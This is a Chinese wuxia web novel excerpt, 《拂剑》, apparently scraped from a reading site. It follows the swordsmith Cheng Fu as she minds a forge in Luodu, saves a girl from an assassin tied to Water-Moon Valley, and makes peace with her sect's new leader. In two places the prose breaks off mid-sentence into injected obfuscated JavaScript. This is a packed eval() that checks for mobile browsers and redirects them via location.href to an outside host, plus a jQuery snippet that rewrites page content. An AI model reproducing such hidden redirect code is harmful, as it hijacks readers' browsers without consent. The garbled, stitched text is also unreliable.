《拂剑》 1. 蜉蝣(1) 打拂晓起,从云州往西策马而行,待到了落日熔金的时分,便能进骆都城。 程芙要找的铁匠铺,便开在长街街尾。 铺子挂着深蓝色的门帘,却仅放下一半,当然只能挡半扇风。 她掀帘而入,竟没有拂面而来的热气,再将乌眸稍转,锻造炉便入眼了。炉口干干净净,半抹铁屑也无,只一味泛着枯燥无趣的青黑,便知这炉子许久未动工。 寒冬腊月的,铺中居然也没有生火,也对,毕竟掌柜才死了爹,无心打铁,无心取暖,都是人之常情。 程芙环视一周,将铁匠铺的环境尽收眼底,心里便有了数。 她扬声唤道:“师兄——?” 一语未完,后院便奔出个黑黢黢的青年人,他见到程芙,仿佛见到救星,忙行了一记抱拳礼:“师妹可算来了!铺子里就劳烦师妹照料一段时日,不出半个月,我必定回来。” 程芙徐徐回以一礼,再从荷包中掏出一锭银子:“无妨,师兄的家事要紧。这锭银子,是师娘给你的心意,你此行多保重。” 她和师兄同出一派、师从一人,关系匪浅,青年人也不客气,双手将银子接过,嘱咐数句后便挎着行囊夺门而出,回家奔丧去了。 好冷,程芙缓缓吐了口气,却不生火取暖,只兀自往柜台后坐定,太过温暖反而会摧人心志,未必是好事。 她取了张图纸出来,细致地铺平,将眸光凝在纸页正中。 这是一张剑的设计图稿。 画工精细,剑身修长轻盈,持之一刺,必定见血封喉。 于程芙而言,有好图稿、好材料,要铸出好剑就不难。 偏偏她总觉得这副图稿美中不足、空有其表,拿它铸出来的剑,必是下品。 她无法容忍自己的双掌之中有下品诞生。 所以程芙选择等,等灵光一现的时刻来临,再完善图稿,将剑铸好。 “老板,能打刀吗?” 冷风吹断程芙的思绪,她尚未深入地思索,铁匠铺今日第一位客人的声音便起了。 门帘从外一掀,风雪簌簌地灌满半间屋子。 “能打。”程芙起身,阔步绕出柜台。 她眼力极好,睨人的速度也快,通常别人尚未发觉她的失礼时,她胸中已有了一杆秤。 这客人身上有微弱的血腥味,鞋面上有两点颜色格外深,约莫是陈旧干涸的血渍。 程芙年岁不大,才十八岁,因而她在江湖里辗转的光阴不多,尽管如此,她也是见过打打杀杀的。 她师娘总说,她不适合做山庄在各地的接头人,就只适合在剑庐里一个人闷着,免得她总将小事化大、简单化复杂。 程芙记得师娘的教诲,欲压下疑心,却禁不住多往客人衣袖裤腿上瞥了瞥……裤腿沾着根鲜活的鸡毛,被血黏住了。 “您要打什么样的刀?”她松了口气。 客人察言观色的功夫不如她,好半天了,还盯着她细细审视,眉心浮着困惑,并不直接回答她的问题:“你们店是换掌柜了吗?从前那个小伙子,哪里去了?” “他家中生变,回家去了。半个月后才能回来。” “可是你年纪轻轻的,我不放心你来打刀。” 程芙倒不恼,也不留客,更不辩解,只轻轻点了点头:“好,不要紧,您换一家铁匠铺就是了。慢走。” 客人怔了怔,未多作一词,径直出了门。 铁匠铺里便又只剩程芙一人枯坐。 骆都是殷国最繁华的城之一,不缺能打铁的匠人。而这行生意从来也不热络,谁家打了锄头打了刀,不用上个两三年呢? 即使两三年过去,人家也未必回头再上你家来做回头客。 客人少也有客人少的好处,程芙巴不得顶替师兄的这半个月里谁都不要来,她好落得个清净,也让她好好揣摩,图纸上的这柄剑到底少了什么在里头。 少了什么? 是铸剑的技艺吗? 那不能够。 程芙精于此道,且极具天赋,在同门之中是佼佼者。 是美观吗? 一柄利器,当以锋芒锐利闻名,外观的精美只是锦上添花,不足以令如今的程芙上心。 程芙按了按太阳穴,手掌转而往自己胸口上落。 她摸到一块无形的淤堵,不轻不重,像拦住溪流去路的顽石,尽管为水留了途径的余地,可到底是拦了路。 半个时辰过去,天蒙蒙泛了黑,看来今日应当很难有结果。 程芙不死心,她摸索着点了盏灯,暗忖大不了就坐至夜半时分,晒月思剑。 于是夜一寸寸地黑定,街上原还有鼎沸的人声,也都在愈发浓烈的夜色里散去,终于只能听见一二声脚步与两三声的笑骂嬉闹了。 “——掌柜。” 骤闻一声轻唤,程芙掀眸,来的,又是方才那位说她年轻的屠户。 她倒不惊讶,也不认为是情理之中,眸中如常无波无澜,宛若春日的一潭静水:“您说明打刀的要求便好,明日下午就能取货了。” 屠户一愣,似是未料自己还没开口,新掌柜便看透了她的心思。 她没办法啊,年关将至,生意虽好了些,可到底比不上旁人家的。她想用微薄的收入,寻个物美价廉的铺子,打一把称手的刀,多赚些钱,过个好年,然而在城里兜兜转转一大圈,竟又回到原处。 屠户难为情地避开程芙视线,道:“那行……是砍刀、屠刀,我杀猪宰羊用,你明白吗?” 刀这种东西,和衣服不同,有时候换了新刀,指不定还要割手,这就叫“刀不如故”。 程芙是学剑的,又会铸剑,懂得这个道理,只是她太偏执:“您带了旧刀吗?我看看样子。” “没有带啊,还要带旧的吗?我从前打刀也不这样啊。” “没带也不要紧。” 语罢,程芙伸出右手,示意屠户握紧。 屠户将信将疑地照做,她未愧对身份,手上真有几分大力气。 很快,程芙抽回手:“这就成了。大娘明日下午取刀即可。” 她需要判断客人的力气,才晓得适合打多重的屠刀合适,人家买了刀是拿去谋生的,她又是个极看重锻造炉能烧出什么东西的人,自应用心对待。 “好,好,”屠户答得还是有些慢了,显然还有顾忌,“还是先付订金吗?按从前的价给?我若不满意能退钱吗?……你们原来的掌柜,就是这规矩。” 程芙:“都按旧规矩来。” 几枚铜钱在两人掌心一接一递,订金就算交付完了,夜色已定,而程芙并不打算趁夜铸刀。 一日有一日的事,她今日的事就是琢磨图稿。 往后半个月,她会一直守在这里,暂时代替师兄做澄意山庄在骆都的接头人,眼观六路、耳听八方,将天下奇事、秘事皆汇入山庄藏书阁的密室中。 今夜月色渺渺、星光寂寂,不适宜赏月观星,程芙又盯了数个时辰的图稿,终于愿为了眼睛的酸涩起身,打一盆冷水来醒神。 她知晓自己陷进了死胡同,应当退出来另寻出路,奈何她不愿撤退,恨宁可将额头抵在巷尾的砖墙上磨出血。 屋中烛光昏黄,水盆倒映出程芙模糊的面,她落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那女郎从未搅入过这等恐怖的事,能站稳了身子不倒下,已很是英勇,她哭喊道:“姐姐你救救我,来日我一定报恩!” 冰冷剑锋抵着喉咙,谁又甘心轻易做剑下的亡魂?刺客抬手,试图用双指夹住程芙的剑,也是在试探剑主的意图:“大侠何须管闲事,当心引火上身。” 程芙不以为然:“你不能在我的铺子前杀人。” “姐姐,你快擒住她!”女郎心有余悸,她不明白招惹了什么人,竟惹来杀身之祸,遂愤愤道,“咱们将她抓进牢里!” 程芙不语,这怕不是官府衙门能断的案子。 “大侠看样子是个江湖人,江湖事,江湖毕,移送官府算怎么回事?”刺客蓦然冷笑,她自知不是程芙的对手,也知没办法向主子交差了。 因此这记笑便是她留在世上最后的笑。 刺客将脖颈往前一送,刺啦——皮开肉绽、鲜血如注,她头颅一歪,死在了程芙剑下。 “啊——!” 好刺耳的尖叫,程芙蹙眉,竟辩不出叫声从哪个方向来。 鲜血飞溅,染红剑柄了刻“蜉蝣”的二字,此二字即为剑名。 蜉蝣剑主环顾四周,发觉发出凄厉嘶嚎的,除却躲在自己身后的姑娘,还有在这个月夜里,因好奇心而开了缝的一扇又一扇窗。 2. 蜉蝣(2) 才是亥时,程芙却已觉得寒意沁人。 她长到十八岁,从未杀过人。她当然也不认为刺客是死在她剑下,可是蜉蝣剑千真万确泼了血,恐怕很不好清洗。 程芙揉了揉太阳穴,咬着牙,归剑入鞘。 刺客的尸首失去依靠,软塌塌地倒地,无人搀扶。 程芙等被追杀的女郎叫够了、叫痛快了,才不疾不徐地叮嘱:“她是自己撞剑而亡,日后,你要替我作证。” 她需要一个证人,为她证明她的剑不是主动饮血。其实她也慌了神,因为她没有杀人的经验,一时无法接受今夜的事,只不过她伪装得很好,眸子照旧是沉静的。 “哦,哦……什么?”女郎接连受惊两次,还没晕倒已算难得。 程芙睨她一眼,捞起刺客还温热的尸首,扛进铁匠铺。 “你带她去哪?回家吗?她是坏人啊。”女郎大为不解,可惜她逃命时崴着了脚,没法子冲到程芙前头拦人质问,只能亦步亦趋跟在后方。 “难不成让她横尸街头,引来一群看热闹的百姓?”程芙反问道,“你腿脚不便,自己找个地方坐。” 女郎默了默,低头不言语了。 程芙对刺客有关怀,却又不够关怀,虽给了最后的体面,不至于让其孤零零的曝尸月夜,还用衣裳遮住遗容,却也仅是让遗体躺在冰冷的柴房里而已。 待她回了铺子门面,见女郎正在瑟瑟发抖,便倒了杯温水来:“你叫什么名字?” 杯子里的水在程芙手中一直晃,到了女郎手中,便晃得更厉害,恨不得洒个干净。 “……方撷真。”方撷真倒是没被吓得忘了自己是谁。 程芙记下女郎的名姓与长相,也替对方看了眼脚踝的扭伤,不严重,休息几日便能好。 可她最关心的还是这场追杀背后的原委:“你将事情经过给我说说。” 好几次,方撷真都没法子说出完整的话来,她磕磕巴巴嗫嚅了好一会儿,总算拼凑出完整的脉络: “我和几个小姐妹出来看河灯,才分了手要回家,谁知就在街头遇见那人要杀我!” “你不认识那刺客,也不知为何被追杀?” “我不认识啊,我在骆都城住了十几年,和我娘从未得罪过人。但是我娘说,有些人的坏,是不需要理由的!” 程芙不以为然:“不需要理由的坏人,会在杀你无果后撞剑而亡吗?她分明是有所顾忌,自行了断。” 方撷真为她的话白了面色,牙关颤颤:“那、那明日我报官,谁想害我,我必不能叫那人好过,我现在就回家,找我娘!” 江湖里的恩怨是非,官府未必能查出结果,程芙欲言又止,终究没有多说,只道:“我骑马送你一程。” “我还不知道你的名字。”方撷真不肯轻易离开,她得问一问恩人的名姓。 “我姓程。”程芙从锻造炉后摸了根烧火棍,给方撷真作拐杖,“走吧,不要磨蹭。” “‘程’是姓,名字呢?” “不方便说。” 方撷真为程芙的漠然吃惊,她缩了缩肩颈,才觑恩人一眼,便被对方凤眸里的冷冽吓退,不敢多问了:“我们走吧……我就住在平安胡同。” 平安胡同离铁匠铺仅两条街,不远,方才一闹,长街上原本还点着的几点孤灯尽数熄灭了,谁都怕招惹是非。 将方撷真送到胡同口,程芙才罢休,她见方撷真的唇一张一合,仿佛有话要说,却又憋了回去,便主动问道:“你还有事吗?” 方撷真有些畏惧她,头摇得又轻又快,道了声“再见”,便杵着烧火棍一瘸一拐地消失在胡同中。 * 铁匠铺分前后两部分,前面是临街的商铺门面,后面则是个小院子,柴房鸽房卧室,厨房花圃空屋,麻雀虽小,五脏俱全。 回到柴房,程芙仍手提一盏明亮灯火,以求看清刺客身上的细节。 刺客的剑法不高,仅有中上水平,他在街中追逐方撷真时,程芙还注意到了她的步法——灵巧、轻盈,却平平无奇。 所以,方撷真应当不是一个非常重要、非死不可的目标,否则…… 程芙蓦然换了思路,杀鸡焉用牛刀,杀一个手无缚鸡之力的普通少年,何必派出高手? 她不知哪条思路才合幕后黑手的心意,唯有继续看下去。 灯光往下坠,刺客的袖口则向上翻。 刺客左腕,有一枚醒目的红色印记,形似弦月。若说是胎记,未免太规整,这极有可能是一种刺青,一种程芙从未见过的刺青。 犯疑心病的时候,程芙就会皱眉,她细细验完遗体,再提笔研墨,灯下写信。写信的时候,她依然心有余悸,有几个字写得歪歪扭扭,失了水准,偏她没心思再改。 铁匠铺养着一窝信鸽,倘若事情顺利,明日下午,她就能收到山庄的回信了。 这半圆状的红色印记到底是何物,到时即可得到答案。 今夜风波骤生,换作是谁都难以入眠,天不亮,程芙便起床开炉,为下订的屠户打屠刀。 咣当,咣当,咣当—— 一锤一锤落下去,屠刀慢慢定了型,再着凉水一浇,滋啦,晨晖斜斜地泄进窗缝,与刀光交汇与锻造炉的红影间,竟叫人分不清是日光亮,还是程芙铸出的刀光更亮。 屠刀打好了。 早过了铁匠铺开门迎客的时辰,程芙擦擦颈间的汗,卷起深蓝色门帘。 她大抵是不适合做生意的,她的商铺,恐怕长久下去只会落得门可罗雀的下场。若非她和师兄相识多年,师娘也希望她能来历练历练,她并不愿帮这个忙,还好,只需顶半个月。 开了门,也没有客人,铁匠这行就是这样,能搏得微薄的收入养家糊口便好,谁敢求大富大贵? 澄意山庄是江湖名门、百年大派,本也不靠一个小小的打铁铺子吃饭,只是网罗天下情报,在五湖四海边需要眼线与接头点,才在骆都弄了个铁匠铺子,掩人耳目。 程芙搬了板凳,斜倚着铺子大门坐,既是打发光阴,也是等客人,等回信。 巳时,清晨的寒意久久不散,连太阳都是冷的。 街上却很热闹,孩童摊贩,女子男人,程芙猜着每位行人的身份家世,譬如这人定是书生,那人则像喝了一夜的酒…… 程芙还听到百姓们对昨晚风波的议论,似乎已有人报了官,想必官府很快就要派人来查案了。 “——程姐姐!” ……程芙眉心一跳,这是方撷真的嗓音。 她循声侧过脸,果然望见方撷真由一位中年妇人搀扶着,慢慢挪过来。 程芙忙站起身,等着方氏母女靠近。 到近处,方撷真盈盈笑开了,双眼挤成缝,和昨晚那个吓得说不出话的姑娘,仿佛是两个不同的人:“我家养的鸡下蛋了,特意给你一篮——这位是我娘。” 沉甸甸的一篮鸡蛋,个头又大又圆。 方母心怀感激,道:“大侠,多谢你救了我女儿。昨晚那样的情形,若非大侠侠肝义胆,我女儿必定逃不脱的。” “不必言谢,这篮子鸡蛋我也不要,你们的好意我心领。”程芙蹙眉,短短几瞬便端详完了这对母女。 方撷真与其母的容貌并不相似,做女儿的眉清目秀,年龄十五六岁,做母亲的虽也透着一股聪明相,却很显老态,瞧着竟有五六十岁。 倘若程芙没有估计错年岁,那么方母当真是老来得女了。 “为什么不要啊?”方撷真不明白,笑容凝住,“你帮了我,我应该谢谢你。这鸡蛋黄黄澄澄的,吃起来可香了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159922|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程芙不在乎什么鸡蛋不鸡蛋的,她不想要,那就是不想要: “抱歉,我不爱吃鸡蛋。” “大侠,救命之恩难以为报,其实不仅是鸡蛋……”方母压低嗓音,果真从袖中抽出一张银票,上头写的数目颇为可观,“大侠,你收下吧,马上我就带真儿离开骆都,以后报不了恩了。” “娘!”方撷真急切地打断母亲,“我不走,我的朋友都……” 方母自是给不出好脸色,怒斥道:“休要再说!” 气氛一时僵住,着急的女儿、铁了心的母亲,程芙身在一侧,实在很难个漂亮打圆场,但她仍出于好意地建议: “若有顾虑,尽快搬离骆都也好。方姑娘遇刺一次,侥幸逃脱,难说不会有第二次。钱就自己收着,能派上用场的。” 方撷真咬唇,将头垂下。 趁女儿沉默的关口,方母上前一步,神色殷切:“大侠可否借一步说话?外头不方便。” 程芙猜到方母大抵想说什么,便请母女二人进到铺子里歇息,再请方母进内院。 内院平平无奇,花圃只能说是修剪过的程度,毫无美感,又是冬日,自然萧条清冷,满目凄然。 先启唇的人是方母,她身量修长,脊背似由一柄长刀贯穿了,直直挺着:“我想看一眼刺客都尸首。” 主动要求查看尸体,并不大符合程芙对大部分寻常百姓的印象——尸体秽气、不吉利,人们多多少少有忌讳。 而且,在这清冷寥落的秋晨,院中竟只有一道极轻极轻的足音。 程芙的轻功出类拔萃,行走时几乎听不见脚步声——这便罢了,方母的脚步竟也极轻,论胆量、论步法,此人都不像表面这样简单。 程芙思虑几息,答应了方母的请求:“随我来吧。” 柴房堆积着许多杂物,灰重呛鼻,刺客的尸身就直直摆在墙角,早已僵硬。 程芙怕方母会做出什么事来,始终紧随其后,正因此故,她得以发现方母在见到刺客腕间的弦月状印记时,面部肌肉明显地绷紧了一瞬。 屋里极静。 程芙只能听到自己的呼吸声,她就在这呼吸声里一层层地累积起心焦。 朝阳落在了柴房里,她晒着的是太阳,却像晒着月亮,而且是弦月,是刺在手腕上的弦月。 程芙终究未能沉默到永久:“她手腕上……” “我看到了。” “是什么?” “恕我不能相告。” 片刻后,方母起了身,脸僵得不能笑:“请问大侠师从何人、拜自何派?” “无门无派。”程芙答道。 出门在外,不必事事都让人知晓,铁匠铺的秘密也不能暴露。 方母低眸笑了声,不再多问:“那我就当大侠无门无派。以后山遥路远,各自珍重吧。” “可是,方姑娘不想走。” “她就是糊涂,就是犟。什么朋友什么家,哪有命重要?人死了就什么都没了。” 方母咬牙切齿地抓住衣袖,眸中泛出隐隐的恨意。 她到底还是不愿冲陌生人诉苦的,转眼就迅速地整理好面色,又道:“我不能耽搁了。家里的东西我已经收拾好,这就带真儿出城。” “多谢你。”方母拼命藏着心中的惊恐,颤巍巍作了记抱拳礼,“我们母女定能化险为夷。” 方母施礼的动作很生疏,左右手放错了位置,程芙便趁机往她手腕上睨——没有弦月印记,却不是空空如也。 她腕间有类似刀刻火烧的痕迹。 程芙明白了。 离开是非之地,是非常理智的做法,并非所有人都有能力直面困境。 程芙默默认可方母的想法,她也知晓,今日一别,往后她与方氏母女,恐怕不会再见面了。 3. 蜉蝣(3) 临街的屋子里,方撷真落寞地坐着,面色凝重颓丧。 原来人难过的时候,背影都是相似的,弓着腰、垂着脸。 程芙的脚步停在门外,没有再往前走,但她为方母让了一条路。 应是知道母亲一回来,自己就必须离开骆都,方撷真也不多与母亲对视,倔强道:“这事儿过了,我还要回来。我的家、我的朋友在这儿。” 念家思乡之情,谁都有,程芙理解方撷真的这份犟。 方母深吸一口气,安抚道:“能过再说吧。” 方撷真犹犹豫豫地望向程芙,她对救命恩人的感情非常简单纯粹,唯有感激,因此她的临别赠言也颇为简洁,无非就是人们常说的话:“程姐姐,你也要保重。” “保重。”这是程芙的真心话。 方撷真在骆都长大,因而她还想挤点儿时间,和朋友们道别。 “逃命还是快点的好。”程芙冷不丁道,“耽误不起的。” 方母也是这个意思:“真儿,咱们改日再回来就是了。既然是真朋友,天涯海角她们都忘不了你的,怎会在乎你为了逃命,而不和她们打招呼……” 她连哄带拽,将女儿一步步带出铁匠铺,慢慢到了程芙看不见的地方。 铺子里安静下来。 随后的事,程芙都预料到,官府真派了人来询问昨夜之事,还带走了刺客尸首;还有热心胆大的百姓代替方撷真为她作证,不仅表明人不是她杀的,还夸她真有本事。 来什么事,程芙应付什么事,都不难。 中午,昨日订刀的屠户准时来取刀。 是把好刀,屠户掂了掂份量,惊喜道:“正是这个感觉,和我从前用的旧刀一模一样的。我们天天拿刀的,就怕换了新家伙用不惯。” “满意就好。”程芙用剑多年,知晓称手的武器多么重要,她不忘问客人要剩下的银子,“您结一下尾款吧。刀快,用时当心。” 屠户掏钱掏得爽快,笑呵呵的:“掌柜年纪轻轻,倒很靠得住,我还真看轻你了。” 程芙不以为意,目送客人出了门。 她重新坐到门前的板凳上,膝盖平铺着图稿,姿势像极了刚刚的方撷真,低头、弯腰,脸庞匿在阴影中。 但她的心境与方撷真还是不完全相同的,若说方撷真后怕、留恋、固执、难过,程芙便是迷茫、失望——对自己的失望。 她想不出来自己要打一把什么样的剑。 * 这一日程芙稀里糊涂地过,天一黑她便打烊,却不入睡,而是在后院的水井旁看月亮。 也许今晚,她就能收到山庄的回信,从而知晓刺客和方母腕间的印记的来路。 当然,也可能没有来路,就只是个普通的印,又或者山庄并未记载那印是什么,一切无从查起。 水井挨着鸽房,信鸽回笼时,鸽房里系着铃铛的线绳就会被触动,程芙便知报信的小家伙回来了。 程芙等了许久,迟迟未见信鸽的影子,这不对,不符合她对山庄办事效率与信鸽速度的认知。 是出意外了? 还是…… 然而程芙衣袂才动,便有一道凌厉剑气破空而来,直逼她面门。 她却不慌不忙,腰间的剑竟不出鞘,只握着住柄扬手一拦,及时挡住攻势。 程芙识得这道剑气,她不必看清来人的脸,就已道出心中困惑: “你来做什么?” “来找你啊!” 来人生了一对清亮的凤眸,唇角微勾,手腕挽出极凌厉的剑花:“我闲得慌,收到信就赶过来喽。” 程芙没收剑,也不出剑,仅用剑鞘继续抵挡攻势,轻笑道:“原来裴庄主也有闲的时候啊。” 澄意山庄的新庄主唤作裴雁晚,继任不久,年轻得惊人,比程芙还小一岁,叫不知情的人怀疑她是否配得上。 裴雁晚为程芙的话恼火,剑气更加凶狠,眉间怒气横生:“不要阴阳怪气的!” 她性子直、脾气大,有什么话,往往当面便讲,不和程芙一样藏在心中:“你就是心里不舒服!可那天是你自己不上台的,现在又后悔,这算什么啊?!” 像是被刺中命门,程芙脸上涌起七八分波澜,仿佛月下涟漪。 她地慌忙挡住一剑,哑声道:“我没有。” 裴雁晚“啧”了一声,收起长剑:“不打了,没意思。你连剑都不出,不好玩。” 的确没意思,程芙有心事,全然没有与人切磋武艺、精进剑术的想法。 她心结未解,做什么都提不起兴致。 一个月前,山庄择选新一任的庄主,程芙本是很受青睐的候选人,却未参与最后一项比武,也便失去了候选人的身份。 自那之后,她次次都避开和裴雁晚碰面,哪怕裴雁晚忍无可忍追问上门,她也没有将话说开。 裴雁晚生了气,也不再理她了。 所以程芙再能料事如神,也料不到今天会是裴雁晚带来她要的消息,这是求和的信号,也是最佳的和好契机。 “你不要生气了。” 程芙不懂怎么哄人,只能硬着头皮来:“别生气。” 裴雁晚原想再冷一会儿脸,却没能如愿,程芙那张脸鲜少流露出焦急之态,越看越有意思,越看越晓得程芙是真的着急。 很快,她就指着程芙的鼻尖,由衷地大笑出声:“你这人真讨厌,平时哑巴似的,这会儿急了吧?急死你。” 这便是消气了。 程芙不动声色挪开师妹的手,不叫她指自己的鼻子,心口亦是松快了许多:“我们进屋说,外面冷。” 裴雁晚欣然应允。 * 灯火点好,水倒上,裴雁晚把喉咙也清好:“水月谷门徒,腕间有红色的弦月状印记。” 水月谷,擅秘术与机关术,小门小派、行事低调,与程芙的师门澄意山庄素来没什么来往。 谷主武红英丧女后避世多年,近些年来,门派大小事务都是她的妹妹武绿华打理。 ——水月谷一个一向安分的势力,追杀方撷真做甚? 因程芙面露疑惑,裴雁晚又道:“你唯有将事情尽数告知我,我才能告诉你更多。” 山庄藏书阁中收纳的情报并非谁都能查阅,部分卷宗,唯有庄主有权限查看,收到信后她没做别的,净在密室里翻书了。 程芙斟酌片刻,细细道出昨夜之事。 一场话完,师姐妹心里都有了猜测,没有证据罢了。 裴雁晚再道:“十六年前,谷主武红英丧女,她丧女当日,谷中护法方虹也消失了,下落不明。” 再想想方撷真母亲的异样,程芙便更加笃定自己的想法:“我救的那位姑娘,或许就是武红英的女儿。她没有死,而是被拿来做了局。” “你要管这事儿啊?”裴雁晚的眼睛亮晶晶的,“把我捎上,让我凑个热闹呀。” “你是庄主,少瞎凑外头的热闹,多注意点儿形象。”程芙白眼轻翻,“而且已没有热闹给你凑,那对母女,已经离开了骆都。” 事到如今,程芙望着裴雁晚的容颜,心头仍有未能散去的怅惘。 那个时候,她为何不上台争一争? 论风评论能力,程芙未必不配,比剑而已,她这辈子比的次数还少吗?若是赢了,她就是庄主了。 可她偏偏没有争,那时她觉得庄不庄主的,都没有什么意义,她不仅不在乎,还很不屑。 在那之后她便后悔了,开始不断设想另一种未走过的路——她登上擂台,赢到最后,以后所有人都会称一声“程庄主”。 那与做一个普通的山庄徒子是截然不同的感受。 程芙揉揉心口,里头仿佛有个东西,钝钝的,却又扎得人心疼,她想拔出那东西看一看,又不得要领,把心肺探了个遍,也不知从何下手。 “东边的空屋子给你睡,我帮你收拾出来。” 程芙不能再看师妹的脸了,看得越多,她越恨自己的踌躇,只能尽快遣人去睡。 既没有热闹可以看,裴雁晚也不多纠结,她赶了一日的路,的确疲累不堪,该睡了。 程芙却毫无睡意,照旧倚着水井,数她的月亮。 她的剑术有比谁差吗? 不一定吧。 与师妹做了多少年的同门了,剑比了那么多,始终互有胜负。两人都还年轻,五十年后又当如何,谁都说不准。 ……她看向东边的屋子,里头还有烛火跃动,师妹应当尚未彻底睡下。 月华如水,程芙身形宛若青翠的竹,挺直修长。 这身形投下的黑影掠过庭中月色,落在裴雁晚窗前。 咚咚咚三声,窗内便有了动静。 隔着窗,裴雁晚懒懒说道:“还有事?我很困。” 程芙略一迟疑,仍说出了口:“别睡,再比一轮。” 屋里的人一怔,旋即动作得极快,甚至没有穿鞋便出了屋,程芙却扶着她的肩膀推她回去,无奈道: “穿鞋,穿衣裳。你急什么?” 一切都准备好,是裴雁晚先出剑。 程芙与师妹的剑招风格迥异不同,她更慢、更稳,更擅防守,这却不意味着她只会龟缩忍让。 等她出手了,也意味着敌人的路数已被她摸清了几分,因此出手必是狠招、准招。 风格不同的人最适合做对手,往往能在每次比试中发觉各自的不足,一同精进技法——程芙对此欲望不强,她和师妹走在两条路上,师妹已励志要做第一剑客的时候,她却只想把剑铸好。 一轮比试结束,是程芙赢了。 “再来!”裴雁晚不服,且正在兴头上,“三局两胜。” “一局定胜负。”程芙偏不依她,“回去睡吧,我不比了。” 所以那日她如果能上擂台,未必会输吧? 程芙转念又想了想,那日裴雁晚的招式太凶狠,且不仅是凶狠,也有适时的防守退让,技法精妙、攻势猛烈。 ……她也未必会赢。 再于脑中把擂台上的事一招招复现,程芙忽地释然开来,赢不赢其实很像收不收方家母女的鸡蛋,无所谓的,都过去了。 她有来由地感到畅快,心里头有盏灯明晃晃地亮了。 留在原地的裴雁晚,却为她毅然离开的背影冒起满肚子的火,足尖往树干上一踹,气闷闷地回了屋。 翌日一早,程芙从酒坊打了酒,送师妹出城。 裴雁晚走得很痛快,没有纠缠,她说山庄里还有点儿小事,她本就是打算小住一晚便返程的:“你将水月谷的事写成密信,飞鸽传书回云州。” “我知道。”程芙点头。 那一纸图稿,程芙头天晚上和师妹比完剑便完成了。 她什么都没有增添删改,来骆都时图稿是什么样,完成时就还是什么样。 七日后,利剑出炉。 它是程芙学习铸剑术以来,铸的第二百七八百柄剑。 剑锋削铁如泥,除此之外便平平无奇。 程芙并没有给它取名字,她就只给自己的“蜉蝣”取过名字,可它却是一柄十分特殊的剑,轻轻一挑,就挑开了程芙的一记心结。 程芙举着这柄剑,迎月细赏,赏着赏着,两年光阴飞快流走,她过了二十 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对,都两年了,有时候她瞧着月亮出神,便能想起两年前她救了方撷真的月夜。 剑下救人是很值得自豪的事,尤其此事还牵扯出水月谷的秘密,不怪程芙频频想起。 她不常游历江湖,年纪也轻,阅历还很有限,便很容易想起为数不多的惊心动魄。 “你做了剑庐主管,比从前忙碌,这倒很可惜,少了许多游玩五湖四海的空闲。”眼界和阅历都是极重要的,白霓裳懂得。 程芙道:“可是,师娘……” 白霓裳打断她:“是真的可惜。” 白霓裳将这份可惜放在了心上,常常留心,为徒女寻觅与人交际或外出办事的机遇。 待到又三年过去,光熙二年,程芙过完二十三岁生辰,白霓裳要求徒女再度出门游历。 就在大殷境内也好,北上西行也罢,只要不闷在云州。 程芙极不情愿,她不知道外头有什么好玩的,然而白霓裳千催万催,她只能敷衍地择定扈县为终点。 才是二月份,扈县还能下雪,那里以雪景著称,每逢冬日便银装素裹,如同仙境。 只费了半个月光阴,程芙便抵达扈县附近一处叫做“留仙原”的平原。 茫茫大雪,平原成了雪原,原上人口依稀寥落,烟火气极难得。刚巧是灰蒙蒙的阴天,不易分辨方向,程芙怕走弯路,不敢没头苍蝇似的乱冲。 正巧附近有一间小木屋,应当是猎人用过的,也不知有没有人居住,她便径直上前叩门:“有人在吗?” 很快,门开了,暖意迎面而来,程芙掀眸,眸底竟现出一张有五六分熟识的脸。 一二十岁,正是长个的岁月,身量骨骼、五官容貌,都会在这几年的光阴里趋于成熟、定型。 正如程芙一眼认出了对方,对方也一眼认出她,瞠目唤道:“……程姐姐!?” 竟是方撷真。 是与程芙曾有两面之缘,却已阔别五年的方撷真。 程芙眉尾扬起,面皮上添了几分燥热,她总是平静的情绪起了波澜,终化作一句错愕的疑问:“是你?” “是我,是我啊!”方撷真大喜过望,热情地拉着程芙进屋,“真是太巧了,我们多少年不见了?你怎么会来扈县啊!” 臂弯被方撷真攀着,程芙不大舒服,原来腿脚利落、没有受惊的方撷真是这般…… 热情如火吗? 真是奇怪。 她僵硬地收回手臂,缓缓落座:“我出门游历,途径扈县。” 程芙斜瞥了方撷真一眼,打量此人从少年到青年的变化——长高了长壮了,嗓音变沉,晒黑了些,容颜也不再那么稚气。 “游历?是要游历到哪儿去?”方撷真眉眼弯弯,“我就住在这木屋里,你既然来了,就好好歇歇。” 程芙游历的终点就是扈县,偏她不愿意和方撷真共处一室,倒不是嫌这木屋不好,而是她和方撷真不熟。 因此她答道:“不劳烦你了,我打算进城住客栈。” 方撷真唇一抿,这木屋的确简陋,冬天冻得厉害,却是不必花钱的栖身之所,极适合她:“住客栈也好,舒坦——欸,我还没给你倒水哩。” 屋里没有热水,还得现烧,程芙怕麻烦了方撷真,便拦住她:“谢谢,我不喝水。我只是问问进城的路。” “程姐姐和我好生疏,我们又不是陌生人,你是我的恩人啊。”方撷真不依,非要烧壶水来。 她生怕程芙跑了似的,对进城的方向闭口不谈:“程姐姐,这几年你还好吧?我回过骆都,可那家铁匠铺的老板已经不是你了。” 五年前,程芙为奔丧的师兄顶班半个月,半个月一过,她便离开骆都回了云州,方撷真当然寻不到她。 “我挺好的。”程芙避开铁匠铺换掌柜的缘故。 依照礼节,她也应问一问方撷真:“你还好吗?” “……挺好的吧。”方撷真笑了笑,“我娘给我留了很多钱,我平日到县城里找点事情做,能养活自己了。” 